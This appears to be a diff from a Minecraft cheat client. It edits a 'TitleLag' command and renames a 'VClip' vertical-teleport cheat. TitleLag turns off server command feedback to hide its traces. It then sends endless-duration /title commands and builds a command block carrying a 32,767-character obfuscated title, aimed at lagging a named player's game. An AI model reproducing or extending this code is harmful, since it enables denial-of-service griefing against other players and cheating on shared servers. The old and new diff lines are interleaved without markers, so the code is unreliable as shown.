import net.shadow.client.feature.command.argument.PlayerFromNameArgumentParser;
import net.shadow.client.feature.command.exception.CommandException;
import net.shadow.client.helper.util.Utils;
import java.util.Objects;
public class Lag extends Command {
public Lag() {
super("Lag", "lag players with titles", "lag");
public class TitleLag extends Command {
public TitleLag() {
super("TitleLag", "Lag players with big ass titles", "lag", "titleLag");
}
@Override
@ -32,17 +33,18 @@ public class Lag extends Command {
@Override
public void onExecute(String[] args) throws CommandException {
validateArgumentsLength(args, 1);
String target = Utils.Players.completeName(args[0]);
PlayerEntity target = new PlayerFromNameArgumentParser(true).parse(args[0]);
String targetName = target.getGameProfile().getName();
ShadowMain.client.getNetworkHandler().sendPacket(new ChatMessageC2SPacket("/gamerule sendCommandFeedback false"));
ShadowMain.client.getNetworkHandler().sendPacket(new ChatMessageC2SPacket("/title " + target + " times 0 999999999 0"));
ShadowMain.client.getNetworkHandler().sendPacket(new ChatMessageC2SPacket("/title " + targetName + " times 0 999999999 0"));
ShadowMain.client.getNetworkHandler().sendPacket(new ChatMessageC2SPacket("/gamerule sendCommandFeedback true"));
ItemStack stack = new ItemStack(Items.COMMAND_BLOCK, 1);
try {
stack.setNbt(StringNbtReader.parse("{BlockEntityTag:{Command:\"/title " + target + " title {\\\"text\\\":\\\"" + "l".repeat(32767) + "\\\",\\\"obfuscated\\\":true}\",powered:0b,auto:1b,conditionMet:1b}}"));
stack.setNbt(StringNbtReader.parse("{BlockEntityTag:{Command:\"/title " + targetName + " title {\\\"text\\\":\\\"" + "l".repeat(32767) + "\\\",\\\"obfuscated\\\":true}\",powered:0b,auto:1b,conditionMet:1b}}"));
} catch (Exception e) {
e.printStackTrace();
}
ShadowMain.client.player.networkHandler.sendPacket(new CreativeInventoryActionC2SPacket(36 + ShadowMain.client.player.getInventory().selectedSlot, stack));
message("Place the command block");
message("Place the command block to keep lagging the player");
}
}

View file

@ -10,14 +10,14 @@ import net.shadow.client.feature.command.Command;
import net.shadow.client.feature.command.argument.DoubleArgumentParser;
import net.shadow.client.feature.command.exception.CommandException;
public class Vclip extends Command {
public Vclip() {
super("Vclip", "veritcal clip", "vclip");
public class VClip extends Command {
public VClip() {
super("VClip", "Teleport vertically", "vclip");
}
@Override
public String[] getSuggestions(String fullCommand, String[] args) {
if (args.length == 1) return new String[]{"(distance)"};
if (args.length == 1) return new String[]{"(height)"};
return super.getSuggestions(fullCommand, args);
}